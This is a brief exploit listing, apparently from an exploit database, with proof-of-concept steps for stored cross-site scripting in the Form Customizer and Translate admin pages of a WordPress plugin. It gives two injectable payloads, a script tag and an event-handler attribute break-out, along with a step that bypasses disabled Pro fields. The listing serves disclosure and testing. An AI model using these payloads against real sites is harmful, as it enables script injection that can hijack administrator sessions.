## https://sploitus.com/exploit?id=WPEX-ID:327AE124-79EB-4E07-B029-E4F543CBD356
Form Customizer:
1. Navigate to https://example.com/wp-admin/admin.php?page=GMWQP&view=form_customizer
2. Add the payload `"><script>alert(1)</script>` to any of the form fields (ex:
"email")
3. Save the changes and reload to see the XSS
Translate:
1. Navigate to https://example.com/wp-admin/admin.php?page=GMWQP&view=translate
2. Remove the `disabled` attribute from any of the Pro features
3. Add the PoC: `" style=animation-name:rotation onanimationstart=alert(/XSS/)//` to the field.
3. Save the changes and reload to see the XSS